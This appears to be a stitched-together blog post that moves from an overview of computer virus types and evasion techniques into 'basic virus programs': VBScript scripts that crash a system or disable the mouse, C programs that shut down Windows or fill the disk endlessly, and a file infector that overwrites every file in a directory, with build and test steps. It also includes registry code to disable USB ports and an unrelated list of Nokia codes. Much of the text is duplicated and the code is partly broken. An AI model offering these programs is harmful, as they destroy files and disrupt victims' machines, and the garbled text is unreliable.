What is a Computer Virus ?A potentially damaging computer programming capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user.
Virus - A program that when run, has the ability to self-replicate by infecting other programs and files on your computer. These programs can have many effects ranging from wiping your hard drive, displaying a joke in a small box, or doing nothing at all except to replicate itself. These types of infections tend to be localized to your computer and not have the ability to spread to another computer on their own. The word virus has incorrectly become a general term that encompasses trojans, worms, and viruses.
Types of viruses :-
The different types of viruses are as follows-
The different types of viruses are as follows-
1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.
Examples of boot- sector viruses are Michelangelo and Stoned.
2) File or Program Viruses :-Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .
Some common file viruses are Sunday, Cascade.
3) Multipartite Viruses :-A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.
Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.
Other examples are Invader, Flip, etc.
4) Stealth Viruses :-These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.
5) Polymorphic Viruses :-Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it.
6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.
5) Polymorphic Viruses :-Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it.
6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.
If you use a computer, read the newspaper, or watch the news, you will know about computer viruses or other malware. These are those malicious programs that once they infect your machine will start causing havoc on your computer. What many people do not know is that there are many different types of infections that are categorized in the general category of Malware.
Malware - Malware is programming or files that are developed for the purpose of doing harm. Thus, malware includes computer viruses, worms, Trojan horses, spyware, hijackers, and certain type of adware.
This article will focus on those malware that are considered viruses, trojans, worms, and viruses, though this information can be used to remove the other types of malware as well. We will not go into specific details about any one particular infection, but rather provide a broad overview of how these infections can be removed. For the most part these instructions should allow you to remove a good deal of infections, but there are some that need special steps to be removed and these won't be covered under this tutorial.
Before we continue it is important to understand the generic malware terms that you will be reading about.
Backdoor- A program that allows a remote user to execute commands and tasks on your computer without your permission. These types of programs are typically used to launch attacks on other computers, distribute copyrighted software or media, or hack other computers.
Hijackers- A program that attempts to hijack certain Internet functions like redirecting your start page to the hijacker's own start page, redirecting search queries to a undesired search engine, or replace search results from popular search engines with their own information.
Spyware- A program that monitors your activity or information on your computer and sends that information to a remote computer without your Knowledge.
Adware- A program that generates popups on your computer or displays advertisements. It is important to note that not all adware programs are necessarily considered malware.
There are many legitimate programs that are given for free that display ads in their programs in order to generate revenue. As long as this information is provided up front then they are generally not considered malware.
Dialler - A program that typically dials a premium rate number that has per minute charges over and above the typical call charge. These calls are with the intent of gaining access to pornographic material.
Trojan- A program that has been designed to appear innocent but has been intentionally designed to cause some malicious activity or to provide a backdoor to your system.
Worm- A program that when run, has the ability to spread to other computers on its own using either mass-mailing techniques to email addresses found on your computer or by using the Internet to infect a remote computer using known security holes.
Virus Programming
Everybody is scared of computer ‘virus’ as it does harmful actions on our computer. But
when we look into the virus programming, we may certainly come out with the conclusion that it
requires intelligence to code a virus.
Virus program don’t have any specific rules.
But it’s a common practice to include ‘signatures’ by virus creators.
The main idea is to force the innocent user to run the programs. So certain viruses come along with so called ‘programmer utilities’ or ‘free tools’. Another thing is, it is easy to hang-up a working system using some ‘bad’ interrupts!
A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes. Viruses can also replicate themselves. All computer viruses are man made. A simple virus that can make a copy of itself over and over again is relatively easy to produce. Even such a simple virus is dangerous because it will quickly use all available memory and bring the system to a halt. An even more dangerous type of virus is one capable of transmitting itself across networks and bypassing security systems.
Since 1987, when a virus infected ARPANET, a large network used by the Defense Department and many universities, many antivirus programs have become available. These programs periodically check your computer system for the best-known types of viruses.
Some people distinguish between general viruses and worms. A worm is a special type of virus that can replicate itself and use memory, but cannot attach itself to other programs.
In order to replicate itself, a virus must be permitted to execute code and write to memory. For this reason, many viruses attach themselves to executable files that may be part of legitimate programs. If a user tries to start an infected program, the virus' code may be executed first. Viruses can be divided into two types, on the basis of their behavior when they are executed.
Nonresident viruses immediately search for other hosts that can be infected, infect these targets, and finally transfer control to the application program they infected. Resident viruses do not search for hosts when they are started. Instead, a resident virus loads itself into memory on execution and transfers control to the host program. The virus stays active in the background and infects new hosts when those files are accessed by other programs or the operating system itself.
Worms that attack instant messenger
An IRC worm is usually a standalone program that uses IRC networks to spread itself. Such worm either tries to spread itself by establishing connection to an IRC server or it can drop specific scripts to an IRC client directory. The most affected IRC client is mIRC.
Usually an IRC worm replaces some INI files in mIRC directory with its own scripts and when a user connects to an IRC server and joins any channel, these scripts instruct a client to send a worm's executable file to everyone in that channel. Some IRC worms have backdoor and trojan capabilities.
Instant messaging attacks originated in the abuse of the mIRC /DCC Send command. This command can be used to send a file to users connected to a particular discussion channel. Normally, attackers modify a local script file, such as script.ini used by mIRC to instruct the instant messaging client to send a file to a recipient any time a new participant joins a discussion.
Modern implementations of IRC (Internet Relay Chat) worms can connect dynamically to an IRC client and send messages that trick the recipient into executing a link or an attachment. In this way, the attacker can avoid modifying any local files.
For example, the W32/Choke worm uses the MSN Messenger API to send itself to other instant messaging participants as a "shooter game"27. Although several instant messenger software programs require the user to click a button to send a file, worms can enumerate the dialog boxes and "click" the button, so the actual user does not have to click. It is also expected that computer worms will exploit buffer overflow vulnerabilities in instant messenger software. For example, certain versions of AOL Instant Messenger software allow remote execution of arbitrary code via a long argument in a game request function.
The Difference of Virus, Worm and Trojan
Viruses, worms and Trojan Horses are all malicious programs that can cause damage to your computer, but there are differences among the three, and knowing those differences can help you to better protect your computer from their often damaging effects.A computer virus attaches itself to a program or file so it can spread from one computer to another, leaving infections as it travels. Much like human viruses, computer viruses can range in severity: Some viruses cause only mildly annoying effects while others can damage your hardware, software or files. Almost all viruses are attached to an executable file, which means the virus may exist on your computer but it cannot infect your computer unless you run or open the malicious program. It is important to note that a virus cannot be spread without a human action, (such as running an infected program) to keep it going. People continue the spread of a computer virus, mostly unknowingly, by sharing infecting files or sending e-mails with viruses as attachments in the e-mail.
A worm is similar to a virus by its design, and is considered to be a sub-class of a virus. Worms spread from computer to computer, but unlike a virus, it has the capability to travel without any help from a person. A worm takes advantage of file or information transport features on your system, which allows it to travel unaided. The biggest danger with a worm is its capability to replicate itself on your system, so rather than your computer sending out a single worm, it could send out hundreds or thousands of copies of itself, creating a huge devastating effect. One example would be for a worm to send a copy of itself to everyone listed in your e-mail address book. Then, the worm replicates and sends itself out to everyone listed in each of the receiver's address book, and the manifest continues on down the line. Due to the copying nature of a worm and its capability to travel across networks the end result in most cases is that the worm consumes too much system memory (or network bandwidth), causing Web servers, network servers and individual computers to stop responding. In more recent worm attacks such as the much-talked-about .Blaster Worm., the worm has been designed to tunnel into your system and allow malicious users to control your computer remotely.
A Trojan Horse is full of as much trickery as the mythological Trojan Horse it was named after. The Trojan Horse, at first glance will appear to be useful software but will actually do damage once installed or run on your computer. Those on the receiving end of a Trojan Horse are usually tricked into opening them because they appear to be receiving legitimate software or files from a legitimate source. When a Trojan is activated on your computer, the results can vary. Some Trojans are designed to be more annoying than malicious (like changing your desktop, adding silly active desktop icons) or they can cause serious damage by deleting files and destroying information on your system. Trojans are also known to create a backdoor on your computer that gives malicious users access to your system, possibly allowing confidential or personal information to be compromised. Unlike viruses and worms, Trojans do not reproduce by infecting other files nor do they self-replicate.
Added into the mix, we also have what is called a blended threat. A blended threat is a sophisticated attack that bundles some of the worst aspects of viruses, worms, Trojan horses and malicious code into one threat. Blended threats use server and Internet vulnerabilities to initiate, transmit and spread an attack. This combination of method and techniques means blended threats can spread quickly and cause widespread damage. Characteristics of blended threats include: causes harm, propagates by multiple methods, attacks from multiple points and exploits vulnerabilities.Blended threats are considered to be the worst risk to security since the inception of viruses, as most blended threats require no human intervention to propagate.
Most Methods of Virus Code
A virus needs to infect hosts in order to spread further. In some cases, it might be a bad idea to infect a host program. For example, many anti-virus programs perform an integrity check of their own code. Infecting such programs will therefore increase the likelihood that the virus is detected. For this reason, some viruses are programmed not to infect programs that are known to be part of anti-virus software. Another type of host that viruses sometimes avoid is bait files. Bait files (or goat files) are files that are specially created by anti-virus software, or by anti-virus professionals themselves, to be infected by a virus. These files can be created for various reasons, all of which are related to the detection of the virus.
Anti-virus professionals can use bait files to take a sample of a virus (i.e. a copy of a program file that is infected by the virus). It is more practical to store and exchange a small, infected bait file, than to exchange a large application program that has been infected by the virus.
Anti-virus professionals can use bait files to study the behavior of a virus and evaluate detection methods. This is especially useful when the virus is polymorphic. In this case, the virus can be made to infect a large number of bait files. The infected files can be used to test whether a virus scanner detects all versions of the virus.
Some anti-virus software employs bait files that are accessed regularly. When these files are modified, the anti-virus software warns the user that a virus is probably active on the system.
Since bait files are used to detect the virus, or to make detection possible, a virus can benefit from not infecting them. Viruses typically do this by avoiding suspicious programs, such as small program files or programs that contain certain patterns of 'garbage instructions'.
A related strategy to make baiting difficult is sparse infection. Sometimes, sparse infectors do not infect a host file that would be a suitable candidate for infection in other circumstances. For example, a virus can decide on a random basis whether to infect a file or not, or a virus can only infect host files on particular days of the week.
Stealth
Some viruses try to trick anti-virus software by intercepting its requests to the operating system. A virus can hide itself by intercepting the anti-virus software’s request to read the file and passing the request to the virus, instead of the OS. The virus can then return an uninfected version of the file to the anti-virus software, so that it seems that the file is "clean". Modern anti-virus software employs various techniques to counter stealth mechanisms of viruses. The only completely reliable method to avoid stealth is to boot from a medium that is known to be clean.
Self-modification
Most modern antivirus programs try to find virus-patterns inside ordinary programs by scanning them for so-called virus signatures. A signature is a characteristic byte-pattern that is part of a certain virus or family of viruses. If a virus scanner finds such a pattern in a file, it notifies the user that the file is infected. The user can then delete, or (in some cases) "clean" or "heal" the infected file. Some viruses employ techniques that make detection by means of signatures difficult but probably not impossible. These viruses modify their code on each infection. That is, each infected file contains a different variant of the virus.
Encryption with a variable key
A more advanced method is the use of simple encryption to encipher the virus. In this case, the virus consists of a small decrypting module and an encrypted copy of the virus code. If the virus is encrypted with a different key for each infected file, the only part of the virus that remains constant is the decrypting module, which would (for example) be appended to the end. In this case, a virus scanner cannot directly detect the virus using signatures, but it can still detect the decrypting module, which still makes indirect detection of the virus possible. Since these would be symmetric keys, stored on the infected host, it is in fact entirely possible to decrypt the final virus, but that probably isn't required, since self-modifying code is such a rarity that it may be reason for virus scanners to at least flag the file as suspicious.
An old, but compact, encryption involves XORing each byte in a virus with a constant, so that the exclusive-or operation had only to be repeated for decryption. It is suspicious code that modifies itself, so the code to do the encryption/decryption may be part of the signature in many virus definitions.Polymorphic code
Polymorphic code was the first technique that posed a serious threat to virus scanners. Just like regular encrypted viruses, a polymorphic virus infects files with an encrypted copy of itself, which is decoded by a decryption module. In the case of polymorphic viruses however, this decryption module is also modified on each infection. A well-written polymorphic virus therefore has no parts which remain identical between infections, making it very difficult to detect directly using signatures. Anti-virus software can detect it by decrypting the viruses using an emulator, or by statistical pattern analysis of the encrypted virus body. To enable polymorphic code, the virus has to have a polymorphic engine (also called mutating engine or mutation engine) somewhere in its encrypted body.
Some viruses employ polymorphic code in a way that constrains the mutation rate of the virus significantly. For example, a virus can be programmed to mutate only slightly over time, or it can be programmed to refrain from mutating when it infects a file on a computer that already contains copies of the virus. The advantage of using such slow polymorphic code is that it makes it more difficult for "antivirus" professionals to obtain representative samples of the virus, because bait files that are infected in one run will typically contain identical or similar samples of the virus. This will make it more likely that the detection by the virus scanner will be unreliable, and that some instances of the virus may be able to avoid detection.
Metamorphic code
To avoid being detected by emulation, some viruses rewrite themselves completely each time they are to infect new executables. Viruses that use this technique are said to be metamorphic. To enable metamorphism, a metamorphic engine is needed. A metamorphic virus is usually very large and complex. For example, W32/Simile consisted of over 14000 lines of Assembly language code, 90% of which is part of the metamorphic engine.
Some Basic Virus Programs :
Crash System :Open notepad type the following and save it as crashsystem.vbs
set ws=CreateObject("wscript.shell")
do
ws.run "notepad",0
loop
Close applications automatically within 5 seconds
Open notepad type the following and save it as autoclose.vbs
set ws=CreateObject("wscript.shell")
do
ws.sendkeys "%{F4}"
wscript.sleep 5000
loop
This script automatically close any opened Applications within 5 seconds you can specify a larger time value by changing the line "wscript.sleep 5000" for example if u want to close within 10 seconds then change the value from “5000” to “10000”.
Display a fake message box
Open notepad type the following and save it as fakemsg.vbs
Display a fake message box
Open notepad type the following and save it as fakemsg.vbs
do
msgbox "System Error : 423"
loopDisable The Mouse
Open notepad type the following and save it as disablemouse.vbs
set ws=Createobject("wscript.shell")
for i=1 to 4
ws.run "WISPTIS.EXE",0
nextHOW TO CREATE VIRUS PROGRAM IN C LANGUAGE.
Hi ,every computer programing students have a dream to make a computer virus. Here we will study simple virus program created in c.(only for study purpose)You test the program in your own computer.There are several types of viruses with different functions.Some of which delete your computers’ important files and folders,some change the configurations of your computer system,some dump your hard disc.There are some which can damage your RAM permanently.
(1)The c program which shutdown the windows operating system
Write the following code in tubo c.
CODE:
void main(void)
{
system(“shutdown-s”);
}
void main(void)
{
system(“shutdown-s”);
}
suppose the above.Let file name is close.c and compile and execute the above code.Now close the turbo c compiler and open the directory in window you have saved the close.c (default directory C:\TC\BIN) and double click its exe file (close.exe).After some time your window will shutdown.
(2) The c program which jam your hard disc.
CODE:
/*virus.exe*/
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system(“dir>>â.ša.exe”);
}
}
#include<stdlib.h>
void main()
{
while(1)
{
system(“dir>>â.ša.exe”);
}
}
here a simple virus program but it has ability to jam your hard disc.The program make a self growing file which grow to few MB and continue infinitely.How it works?-The system call “dir>>â.ša.exe” will execute the dos command ‘dir’ and redirect its output to a file “â.ša.exe”.So running the program in a folder having many files and folders will increase the size of “â.ša.exe” in great amount.This process will continue infinitely as this is in while(1) loop.Remember to recover from this virus infection simply delete the virus.exe file.
How To Create Virus in C
Hi,here we will discuss about how to create a virus program in C language and execute.So first we want to know about what is Virus?.Computer virus is a computer program that can copy itself and infect a computer.A virus can spread from one computer to another through different medias(internet,removable media-floppy,USB drive,CD,DVD).
Here i published a simple virus program to show how to create virus in C.
Here i published a simple virus program to show how to create virus in C.
WARNING:FOR EDUCATIONAL PURPOSE ONLY.NOT MISUSE.
SOURCE CODE:
#include<stdio.h>
#include<conio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048]
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if (host==NULL) goto next;
x=89088;
printf(infecting %sn”,ffblk.ff_name,a);
while(x<2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,i,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE!(total files infected=%d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
1.Copy the virus source code into compiler(Borland tc++ 3.0).press Alt+F9 to compile.
2.Press F9 to generate the EXE file(DO NOT PRESS CLT+F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORIES. )
3.Note down the size of generated EXE files in bytes(click the properties of EXE file for note down the size)
4.Change the value of x in the source code with the noted size(IN THE ABOVE SOURCE CODE X=88089,CHANGE IT)
5.Once again follow the step1 and step2.Now the generated EXE file is ready to infect
HOW TO TEST THE WORKING OF VIRUS:
1.Open new empty folder
2.Put some EXE files(By searching for *.EXE in search and pasting in the new folder)
3.Run the virus EXE file.There you will see all the files in the current directory get infected
4.All the infected files will be ready to reinfect.
For more virus programs Click HERE
NOKIA SECRET CODES
Here is some useful nokia secret codes
Increase GPRS speed
*#3370#-Enhanced Full Rate Codec(EFR) activation.Increase signal strength ,better signal reception.It also help if you want to use GPRS and the service is not responding or too slow.Phone battery will drain faster though.
*#3370*-(EFR) deactivation.Increase battery life by 30% because phone receives less signals from network.
*#4720#-Half Rated Codec activation.
*#4720*-Half Rated Codec deactivation.
View IMEI number
Dial *#06# IMEI number is displayed on the screen.
Reset to factory settings *#7780#
Clear the LCD display(operator logo) *#67705646#
To view software version *#0000#
Sim click allowed status *#746025625#
Shows if Sim have restrictions #pw+1234567890+1#
Takes you to a secret menu where you find some of informations shown below *#92702689#
1.Displays Serial number
2.Displays year and month of manufacture
3.Displays(if there) the date where the phone was purchased
4.Displays the date of last repair-if found(0000)
5.Shows life timer of phone(Time passes since last start)
Waite for more secret codes.Enjoy
It is a simple C code to disable all your computer USB
ports and you can also re-enable the USB port
using another code.It is easy to understand who know basics of C programming
.
Source Code for disable USB Ports:
ports and you can also re-enable the USB port using another code.It is easy to understand who know basics of C programming.Source Code for disable USB Ports:
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f”);
}
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f”);
}
write down the above code into your C compiler
.save the file as “BLOCK_USB.C” And execute the program by pressing Ctrl+F9.Now all your USB
ports are disabled.If you want re-enable your USB ports use the below code
Source Code for enable USB Ports:
.save the file as “BLOCK_USB.C” And execute the program by pressing Ctrl+F9.Now all your USB ports are disabled.If you want re-enable your USB ports use the below codeSource Code for enable USB Ports:
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f”);
}
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f”);
}
write down the code.save the file as “UNBLOCK_USB.C” and execute the file.Now all your USB
ports are re-enabled.Enjoy C programming
ports are re-enabled.Enjoy C programming 
No comments:
Post a Comment